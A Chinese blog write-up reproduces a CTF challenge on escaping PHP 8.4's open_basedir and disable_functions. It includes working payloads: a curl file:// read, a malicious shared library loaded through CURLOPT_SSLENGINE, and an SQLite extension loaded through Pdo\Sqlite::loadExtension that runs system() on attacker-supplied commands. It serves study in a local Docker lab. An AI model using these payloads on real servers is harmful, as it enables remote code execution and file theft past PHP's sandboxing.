复现最新版PHP绕open_basedir和disable_functions

复现最新版PHP绕open_basedir和disable_functions

前提工作

本题来自于 XCTF Final ,本博客将针对这道题进行复现和学习

我是通过起一个docker环境对其进行复现

dockerfile如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
FROM php:8.4.13-apache

# 设置工作目录
WORKDIR /var/www/html

# 安装必要的扩展(可选,根据你的需求添加)
RUN apt-get update && apt-get install -y \
libzip-dev \
zip \
unzip \
&& docker-php-ext-install zip \
&& docker-php-ext-install mysqli pdo pdo_mysql

# 配置PHP
RUN { \
echo 'disable_functions=proc_open,pcntl_waitpid,pcntl_wait,dl,ini_restore,mb_send_mail,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,pcntl_alarm,pcntl_sigtimedwait,ini_set'; \
echo 'open_basedir=/var/www/html:/tmp'; \
} > /usr/local/etc/php/conf.d/security.ini

# 修改Apache文档根目录权限(如果需要)
RUN chown -R www-data:www-data /var/www/html

# 启用Apache重写模块(可选)
RUN a2enmod rewrite

# 复制你的应用程序文件(如果需要)
COPY . /var/www/html/

# 暴露端口
EXPOSE 80

CMD ["./start.sh"]

start.sh如下

1
2
3
4
#!/bin/bash
echo "flag{test}" > /flag
chmod 644 /flag
exec apache2-foreground

之后再docker build docker run,环境就起来了

复现工作

这篇复现博客主要是对着大佬的博客fushulingのblog进行学习和理解

题目的源码很简单,就是单纯的一个eval函数

1
2
3
<?php
highlight_file(__FILE__);
@eval($_POST['so_ez!k1ddi&g?']);

POST的传参名是非法传参名,如果是PHP8以下的可以用[来绕过,但这是PHP8的版本,直接url编码绕过即可

so%5Fez%21k1ddi%26g%3F=phpinfo();,看phpinfo的信息,可以看到open_basedirdisable_functions分别是image-20251111140258742image-20251111140300612

这个disable_functions是将所有PHP中可以命令执行的函数全禁了,没有办法命令执行,而open_basedir把读取文件的方法禁了,没有办法读取文件

通过curl绕过open_basedir

PHP8.3

首先先提到一个在PHP8.3的特性,是在PHP8.3的一个issue,提到可以用curl绕过open_basedir

image-20251111152852296

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ docker run -ti php@sha256:62a9d2183e1039f4d06d7f1bbfa8de7ccebf04fc4d3d849939648150d1000237 php -d 'open_basedir=/nowhere' -r 'echo phpversion()."\n"; $ch = curl_init("file:///etc/passwd");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);'
8.3.13
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

但是由于PHP官方很快就ban了参数all

image-20251111154026558

这里我也测试一下这个是否可行以及其原理

将上面的dockerfile的php:8.4.13-apache换成php:8.3.13-apache来试试

image-20251111155715528

image-20251111155736827

通过对比可以看到,在8.3.13版本下是可以通过cURL绕过open_basedir的限制的,但是为什么会这样呢?

open_basedir主要是对PHP内核中的文件函数(如fopen, file_get_contents)等进行操作,而cURL 扩展实际上是一个”包装器”,它:

  • 直接调用 libcurl 库
  • libcurl 直接使用操作系统的文件系统调用
  • 绕过了 PHP 的用户空间安全检查

进行的操作不在php内,可以直接通过操作系统的文件系统调用读取文件,所以可以绕过open_basedir 限制

但是这个方法限制的版本为PHP8.3、libcurl>=7.85.0,所以在版本为PHP8.4.13的比赛环境中,这个漏洞被修复了,那么该如何绕过open_basedir

PHP8.4

但是curl本就可以加载动态库链接导致RCE

方法来自这个文章curl | Report #3293801 - Title: Remote Code Execution (RCE) via Arbitrary Library Loading in --engine option | HackerOne

这里放一个漏洞摘要

curl 命令行工具在类 UNIX 系统(Linux、macOS 等)中存在任意代码执行漏洞。问题的核心在于 --engine 选项,该选项允许从共享库(.so 文件)加载 OpenSSL 加密引擎。关键是,这个选项接受共享库的绝对或相对路径,使得攻击者可以加载文件系统中的任意共享库。

攻击者可以制作一个恶意的共享库,其中包含 __attribute__((constructor)) 函数。这个函数在库被加载到 curl 进程内存的瞬间就会由动态加载器执行,从而立即实现代码执行,甚至在 OpenSSL 尝试将其初始化为引擎之前就完成了攻击。

如果攻击者能够影响传递给 curl 命令的参数(这在 Web 应用后端、CI/CD 流水线和其他自动化脚本中很常见),就会导致直接的远程代码执行(RCE)。

上面的那篇文章主要是用于命令行,这里是用在php代码中,总的来说原理是一样的

在php代码中是通过PHP cURL 扩展的 CURLOPT_SSLENGINE 选项来加载恶意文件的(顺带一提,上面的CURLOPT_PROTOCOLS_STR选项是用于设置允许的协议列表,设置all就是允许所有可用协议)

写一个evil.c文件

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>

__attribute__((constructor))
static void rce_init(void){
system("whoami");
}

用以下命令编译成evil.so文件

1
gcc -fPIC -shared -o evil.so evil.c
  • -fPIC:创建与内存位置无关的代码,当库被加载到不同内存地址时,固定地址会导致程序崩溃
  • -shared:告诉编译器生成共享库(.so 文件)而不是可执行文件
  • -o evil.so:指定输出文件名

payload为

1
2
3
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE,"/tmp/evil.so");
$data = curl_exec($ch);

文件可以通过file_put_contents来写入

比如这样

1
2
$base64_so = "base64编码后的so文件"; //记住要url编码一下,不然出上去的文件可能和原先的文件不一样
file_put_contents("/tmp/evil.so",base64_decode($base64_so));

不过通过curl来绕过这个漏洞在PHP8.5被修了

通过sqlite加载绕过open_basedir

默认情况下php官方镜像是开sqlite3扩展的

image-20251112111050853

从官方文档可以看出来, SQLite3::loadExtension 可以加载so文件,但是这个方法限制了加载 so 的目录,不是一个我们的可控点:https://www.php.net/manual/zh/sqlite3.loadextension.php2

image-20251112111844887

但是发现Pdo\Sqlite::loadExtension 也存在可以加载库的方法

image-20251112112223895

image-20251112112233072

版本要大于等于PHP8.4,正正好适用这个题目环境

所以我们可以选择自己构造一个so文件,然后用Pdo\Sqlite::loadExtension进行加载来执行命令,disable_functions 是 PHP 的配置项,只能用来禁止 PHP 语言层面的内建函数。阻止的是 PHP 解释器执行这些函数。这里相当于用进程空间的 C 层面直接调用了 system()(libc 的 system),所以显然是拦截不了我们的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

SQLITE_EXTENSION_INIT1

#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_evil_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);

const char *command_file_path = "/tmp/1.txt";
char command_buffer[512] = {0};
FILE *file_handle;

file_handle = fopen(command_file_path, "r");
if (file_handle == NULL) {
return SQLITE_OK;
}

if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
command_buffer[strcspn(command_buffer, "\r\n")] = 0;
if (strlen(command_buffer) > 0) {
system(command_buffer);
}
}
fclose(file_handle);
return SQLITE_OK;
}

(截取自大佬的博客)

通过gcc -fPIC -shared -o evil.so evil.c编译成so文件,然后和上文一样上传

image-20251112195217594

记住上传的so文件名要和sqlite3_evil_init函数名中间的要一样

利用payload为

1
2
3
4
5
file_put_contents("/tmp/1.txt","cat /flag > /tmp/2.txt");
$db = new Pdo\Sqlite('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->loadExtension('/tmp/evil.so');
echo file_get_contents("/tmp/2.txt");

image-20251112195517823

总结工作

open_basedir和disable_functions限制的还是属于php的领域范畴里,都是通过调用底层系统的命令或者是文件操作来绕过php层面上的函数利用
这次的复现可以说是从PHP应用层突破到系统层,还有就是扩展机制有时候会带来一些意想不到的安全问题


复现最新版PHP绕open_basedir和disable_functions
http://example.com/2025/11/11/复现最新版PHP绕open-basedir和disable-functions/
作者
yuhua
发布于
2025年11月11日
许可协议